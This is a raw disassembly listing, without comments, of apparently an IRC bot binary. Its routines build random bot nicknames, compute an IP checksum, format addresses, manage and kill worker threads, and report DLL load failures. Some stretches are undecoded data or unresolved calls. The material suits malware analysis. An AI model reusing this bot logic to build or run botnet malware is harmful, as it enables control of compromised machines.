loc_40A94F: ; CODE XREF: sub_40A7CF+152j
cmp dword_4CB74C, esi
jz short loc_40A983
push dword_4CB750
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A983: ; CODE XREF: sub_40A7CF+186j
cmp dword_4CB754, esi
jz short loc_40A9B7
push dword_4CB758
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A9B7: ; CODE XREF: sub_40A7CF+1BAj
cmp dword_4CB75C, esi
jz short loc_40A9EB
push dword_4CB760
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A9EB: ; CODE XREF: sub_40A7CF+1EEj
cmp dword_4CB764, esi
jz short loc_40AA1F
push dword_4CB768
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AA1F: ; CODE XREF: sub_40A7CF+222j
cmp dword_4CB76C, esi
jz short loc_40AA53
push dword_4CB770
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AA53: ; CODE XREF: sub_40A7CF+256j
cmp dword_4CB774, esi
jz short loc_40AA87
push dword_4CB778
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AA87: ; CODE XREF: sub_40A7CF+28Aj
cmp dword_4CB77C, esi
jz short loc_40AABB
push dword_4CB780
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AABB: ; CODE XREF: sub_40A7CF+2BEj
lea eax, [ebp+var_200]
push offset unk_42DA2C
push eax
call sub_41B886
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AAE8
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_40AAE8: ; CODE XREF: sub_40A7CF+302j
lea eax, [ebp+var_200]
push eax
call sub_4151AD
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A7CF endp
; =============== S U B R O U T I N E =======================================
sub_40AAFA proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5C96p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB694
cmp eax, 0FFFFFFFFh
jnz short locret_40AB22
push [esp+arg_0]
call dword_4CB6D8
test eax, eax
jnz short loc_40AB1B
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AB1B: ; CODE XREF: sub_40AAFA+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AB22: ; CODE XREF: sub_40AAFA+Dj
retn
sub_40AAFA endp
; =============== S U B R O U T I N E =======================================
sub_40AB23 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB570
xor eax, eax
test ecx, ecx
jz short locret_40AB31
call ecx
locret_40AB31: ; CODE XREF: sub_40AB23+Aj
retn
sub_40AB23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB32 proc near ; CODE XREF: sub_401ACD:loc_403F5Ep
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CB6D0
mov ecx, eax
sub ecx, edi
jz loc_40ABF8
sub ecx, 32h
jz loc_40ABF1
sub ecx, 48h
jz short loc_40AB92
sub ecx, 6Eh
jz short loc_40AB8B
loc_40AB74: ; CODE XREF: sub_40AB32+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42DC40
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40ABD2
; ---------------------------------------------------------------------------
loc_40AB8B: ; CODE XREF: sub_40AB32+40j
push offset unk_42DC1C
jmp short loc_40ABC4
; ---------------------------------------------------------------------------
loc_40AB92: ; CODE XREF: sub_40AB32+3Bj
push [ebp+var_8]
call sub_41B4D5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B590
add esp, 10h
cmp esi, edi
jz short loc_40ABBF
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CB6D0
cmp eax, edi
jz short loc_40ABF8
jmp short loc_40AB74
; ---------------------------------------------------------------------------
loc_40ABBF: ; CODE XREF: sub_40AB32+79j
push offset unk_42DBEC
loc_40ABC4: ; CODE XREF: sub_40AB32+5Ej
; sub_40AB32+C4j
lea eax, [ebp+var_88]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40ABD2: ; CODE XREF: sub_40AB32+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4151AD
pop ecx
loc_40ABE2: ; CODE XREF: sub_40AB32+C8j
; sub_40AB32+DCj
push esi
call sub_41B0B1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ABF1: ; CODE XREF: sub_40AB32+32j
push offset unk_42DBBC
jmp short loc_40ABC4
; ---------------------------------------------------------------------------
loc_40ABF8: ; CODE XREF: sub_40AB32+29j
; sub_40AB32+89j
cmp [esi], edi
jbe short loc_40ABE2
lea ebx, [esi+4]
loc_40ABFF: ; CODE XREF: sub_40AB32+DAj
push ebx
call dword_4CB6CC
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ABFF
jmp short loc_40ABE2
sub_40AB32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC10 proc near ; CODE XREF: sub_401ACD+2248p
; sub_401ACD+2399p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB5F8
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CB784
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41B886
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AC10 endp
; =============== S U B R O U T I N E =======================================
sub_40AC69 proc near ; CODE XREF: sub_412B09+24Cp
; sub_412B09+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AC92
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AC85: ; CODE XREF: sub_40AC69+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AC85
pop edi
jmp short loc_40AC96
; ---------------------------------------------------------------------------
loc_40AC92: ; CODE XREF: sub_40AC69+Aj
mov edx, [esp+4+arg_0]
loc_40AC96: ; CODE XREF: sub_40AC69+27j
test esi, esi
pop esi
jz short loc_40ACA0
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40ACA0: ; CODE XREF: sub_40AC69+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AC69 endp
; =============== S U B R O U T I N E =======================================
sub_40ACB6 proc near ; CODE XREF: sub_40B08E+49p
; DATA XREF: ___:off_42DC88o
arg_0 = dword ptr 4
push esi
push edi
call near ptr 26C066Dh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42DCF0[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD1E
loc_40ACF8: ; CODE XREF: sub_40ACB6+66j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB64
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACF8
loc_40AD1E: ; CODE XREF: sub_40ACB6+40j
mov eax, edi
pop edi
pop esi
retn
sub_40ACB6 endp
; ---------------------------------------------------------------------------
db 56h
dd 42E89057h, 50022B59h, 10BA7E8h, 247C8B00h, 2404C710h
dd 429140h, 42D01868h, 571C6A00h, 10C37E8h, 83F63300h
dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
dd 685752F9h, 42BB64h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40AD81 proc near ; CODE XREF: sub_401ACD+69CDp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ADC4
loc_40ADAE: ; CODE XREF: sub_40AD81+41j
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ADAE
loc_40ADC4: ; CODE XREF: sub_40AD81+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AD81 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call near ptr 26C066Dh
nop
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431948
push eax
push esi
call near ptr 26F0000h
nop
movsx eax, byte_431948
push 41h
pop ecx
push 1
pop edx
loc_40AE0A: ; CODE XREF: ___:0040AE15j
cmp eax, ecx
jnz short loc_40AE11
mov [ebp-4], edx
loc_40AE11: ; CODE XREF: ___:0040AE0Cj
inc ecx
cmp ecx, 5Bh
jl short loc_40AE0A
push 61h
pop ecx
loc_40AE1A: ; CODE XREF: ___:0040AE25j
cmp eax, ecx
jnz short loc_40AE21
mov [ebp-4], edx
loc_40AE21: ; CODE XREF: ___:0040AE1Cj
inc ecx
cmp ecx, 7Bh
jl short loc_40AE1A
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AE66
loc_40AE40: ; CODE XREF: ___:0040AE64j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB64
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE40
loc_40AE66: ; CODE XREF: ___:0040AE3Ej
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 2700000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_43194C
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AEDB
loc_40AEB5: ; CODE XREF: ___:0040AED9j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB64
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AEB5
loc_40AEDB: ; CODE XREF: ___:0040AEB3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_43D808
mov dword ptr [ebp-94h], 94h
call near ptr 270055Dh
nop
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AF65
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF45
cmp dword ptr [ebp-84h], 1
jnz short loc_40AF35
mov esi, offset dword_431974
loc_40AF35: ; CODE XREF: ___:0040AF2Ej
cmp dword ptr [ebp-84h], 2
jnz short loc_40AFA1
mov esi, offset dword_431970
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF45: ; CODE XREF: ___:0040AF25j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AF55
mov esi, offset dword_43196C
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF55: ; CODE XREF: ___:0040AF4Cj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AF9C
mov esi, offset dword_431968
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF65: ; CODE XREF: ___:0040AF1Cj
cmp dword ptr [ebp-90h], 5
jnz short loc_40AF9C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF7E
mov esi, offset dword_431964
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF7E: ; CODE XREF: ___:0040AF75j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AF8E
mov esi, offset dword_431960
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF8E: ; CODE XREF: ___:0040AF85j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_43195C
jz short loc_40AFA1
loc_40AF9C: ; CODE XREF: ___:0040AF5Cj
; ___:0040AF6Cj
mov esi, offset dword_431958
loc_40AFA1: ; CODE XREF: ___:0040AF3Cj
; ___:0040AF43j ...
mov edi, [ebp+8]
push esi
push offset dword_431950
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AFE5
loc_40AFBF: ; CODE XREF: ___:0040AFE3j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB64
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AFBF
loc_40AFE5: ; CODE XREF: ___:0040AFBDj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFEB proc near ; CODE XREF: sub_40B08E+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 26C066Dh
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40B03A
call dword_4CB660
test eax, eax
mov eax, offset off_431980
jnz short loc_40B023
mov eax, offset dword_43D808
loc_40B023: ; CODE XREF: sub_40AFEB+31j
push eax
push esi
push offset dword_431978
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41B980
add esp, 14h
jmp short loc_40B05A
; ---------------------------------------------------------------------------
loc_40B03A: ; CODE XREF: sub_40AFEB+22j
call dword_4CB660
test eax, eax
mov eax, offset off_431980
jnz short loc_40B04E
mov eax, offset dword_43D808
loc_40B04E: ; CODE XREF: sub_40AFEB+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40B05A: ; CODE XREF: sub_40AFEB+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41AFE0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B089
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C1E0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 18h
loc_40B089: ; CODE XREF: sub_40AFEB+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40AFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B08E proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42DC84
loc_40B09A: ; CODE XREF: sub_40B08E+3Fj
cmp [ebp+arg_C], 0
jz short loc_40B0B5
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C070
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B0BF
; ---------------------------------------------------------------------------
loc_40B0B5: ; CODE XREF: sub_40B08E+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B0BF: ; CODE XREF: sub_40B08E+25j
test eax, eax
jnz short loc_40B0D1
add esi, 14h
inc edi
cmp esi, offset off_42DCFC
jb short loc_40B09A
jmp short loc_40B0DF
; ---------------------------------------------------------------------------
loc_40B0D1: ; CODE XREF: sub_40B08E+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42DC88[eax*4]
pop ecx
loc_40B0DF: ; CODE XREF: sub_40B08E+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B0F2
push [ebp+arg_0]
call sub_40AFEB
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B0F2: ; CODE XREF: sub_40B08E+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40B08E endp
; =============== S U B R O U T I N E =======================================
sub_40B0F7 proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E390
loc_40B0FF: ; CODE XREF: sub_40B0F7+18j
cmp byte ptr [eax], 0
jz short loc_40B113
add eax, 234h
inc edi
cmp eax, offset dword_4CB390
jl short loc_40B0FF
jmp short loc_40B15E
; ---------------------------------------------------------------------------
loc_40B113: ; CODE XREF: sub_40B0F7+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E390[esi]
push eax
call sub_41B5F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E590[esi], eax
and dword_43E594[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E598[esi], 0
mov dword_43E59C[esi], eax
and byte_43E5A8[esi], 0
pop esi
loc_40B15E: ; CODE XREF: sub_40B0F7+1Aj
mov eax, edi
pop edi
retn
sub_40B0F7 endp
; ---------------------------------------------------------------------------
word_40B162 dw 8B55h ; DATA XREF: sub_401ACD+298Ao
dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
dd 6CE8EC75h, 83000002h, 6A14C4h, 4E4EE890h, 5E5F0230h
dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
dd 0FE00858Dh, 8C68FFFFh, 500042C8h, 10681E8h, 8D016A00h
dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B232 proc near ; CODE XREF: sub_401ACD+7BA5p
; sub_40B2C0+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B2BA
cmp esi, 400h
jge short loc_40B2BA
imul esi, 234h
push edi
push ebx
push dword_43E5A4[esi]
lea edi, dword_43E5A4[esi]
nop
call near ptr 26C06DDh
cmp [edi], ebx
jz short loc_40B26A
push 1
pop ebp
loc_40B26A: ; CODE XREF: sub_40B232+33j
mov [edi], ebx
lea edi, dword_43E598[esi]
mov dword_43E590[esi], ebx
mov dword_43E594[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B28B
push eax
call sub_4199CA
pop ecx
loc_40B28B: ; CODE XREF: sub_40B232+50j
mov [edi], ebx
lea edi, dword_43E59C[esi]
mov byte ptr dword_43E390[esi], bl
mov byte_43E5A8[esi], bl
push dword ptr [edi]
call dword_4CB6EC
lea esi, dword_43E5A0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CB6EC
mov [esi], ebx
pop edi
loc_40B2BA: ; CODE XREF: sub_40B232+Dj
; sub_40B232+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B232 endp
; =============== S U B R O U T I N E =======================================
sub_40B2C0 proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E390
loc_40B2CC: ; CODE XREF: sub_40B2C0+2Aj
cmp byte ptr [esi], 0
jz short loc_40B2DD
push edi
call sub_40B232
test eax, eax
pop ecx
jz short loc_40B2DD
inc ebx
loc_40B2DD: ; CODE XREF: sub_40B2C0+Fj
; sub_40B2C0+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB390
jl short loc_40B2CC
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B2C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F2 proc near ; CODE XREF: sub_401ACD+418Fp
; sub_401ACD+42E1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E594
loc_40B306: ; CODE XREF: sub_40B2F2+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B328
test edi, edi
jle short loc_40B31A
cmp [esi], edi
jz short loc_40B31A
cmp ebx, edi
jnz short loc_40B328
loc_40B31A: ; CODE XREF: sub_40B2F2+1Ej
; sub_40B2F2+22j
push ebx
call sub_40B232
test eax, eax
pop ecx
jz short loc_40B328
inc [ebp+var_4]
loc_40B328: ; CODE XREF: sub_40B2F2+1Aj
; sub_40B2F2+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB594
jl short loc_40B306
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F2 endp
; =============== S U B R O U T I N E =======================================
sub_40B33F proc near ; CODE XREF: ___:00401630p
; sub_401ACD+97Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E590
loc_40B346: ; CODE XREF: sub_40B33F+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B34F
inc eax
loc_40B34F: ; CODE XREF: sub_40B33F+Dj
add ecx, 234h
cmp ecx, offset dword_4CB590
jl short loc_40B346
retn
sub_40B33F endp
; =============== S U B R O U T I N E =======================================
sub_40B35E proc near ; CODE XREF: sub_401ACD+2434p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E590
loc_40B368: ; CODE XREF: sub_40B35E+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B381
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB590
jl short loc_40B368
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B381: ; CODE XREF: sub_40B35E+10j
mov eax, edx
pop esi
retn
sub_40B35E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B385 proc near ; CODE XREF: sub_401ACD+1067p
; sub_401ACD+126Dp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B39E
push [ebp+arg_1C]
call sub_41B779
pop ecx
loc_40B39E: ; CODE XREF: sub_40B385+Ej
push eax
push [ebp+arg_18]
call sub_40B2F2
pop ecx
test eax, eax
pop ecx
jle short loc_40B3CA
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41B886
add esp, 14h
jmp short loc_40B3E4
; ---------------------------------------------------------------------------
loc_40B3CA: ; CODE XREF: sub_40B385+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41B886
add esp, 10h
loc_40B3E4: ; CODE XREF: sub_40B385+43j
cmp [ebp+arg_C], 0
jnz short loc_40B404
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_40B404: ; CODE XREF: sub_40B385+63j
lea eax, [ebp+var_200]
push eax
call sub_4151AD
pop ecx
leave
retn
sub_40B385 endp
; =============== S U B R O U T I N E =======================================
sub_40B413 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BA48p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E5A4[eax], ecx
mov dword_43E590[eax], ecx
mov dword_43E594[eax], ecx
mov dword_43E598[eax], ecx
mov dword_43E59C[eax], ecx
mov dword_43E5A0[eax], ecx
mov byte ptr dword_43E390[eax], cl
mov byte_43E5A8[eax], cl
retn
sub_40B413 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B450 proc near ; CODE XREF: sub_401ACD+7E3Cp
; sub_40B57E+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B45A: ; CODE XREF: sub_40B450+68j
mov cl, [esi]
test cl, cl
jz short loc_40B4BA
cmp eax, 1
jnz short loc_40B4BA
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B4BA
cmp cl, 2Ah
jz short loc_40B4A1
cmp cl, 3Fh
jz short loc_40B484
cmp cl, 5Bh
jz short loc_40B489
xor eax, eax
cmp cl, dl
setz al
loc_40B484: ; CODE XREF: sub_40B450+26j
inc [ebp+arg_4]
jmp short loc_40B4B4
; ---------------------------------------------------------------------------
loc_40B489: ; CODE XREF: sub_40B450+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B4E6
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B4B4
; ---------------------------------------------------------------------------
loc_40B4A1: ; CODE XREF: sub_40B450+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B57E
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B4B4: ; CODE XREF: sub_40B450+37j
; sub_40B450+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B45A
; ---------------------------------------------------------------------------
loc_40B4BA: ; CODE XREF: sub_40B450+Ej
; sub_40B450+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B4CA
cmp eax, 1
jnz short loc_40B4E1
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B4BA
; ---------------------------------------------------------------------------
loc_40B4CA: ; CODE XREF: sub_40B450+6Dj
cmp eax, 1
jnz short loc_40B4E1
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B4E1
cmp byte ptr [esi], 0
jnz short loc_40B4E1
push 1
pop eax
jmp short loc_40B4E3
; ---------------------------------------------------------------------------
loc_40B4E1: ; CODE XREF: sub_40B450+72j
; sub_40B450+7Dj ...
xor eax, eax
loc_40B4E3: ; CODE XREF: sub_40B450+8Fj
pop esi
pop ebp
retn
sub_40B450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
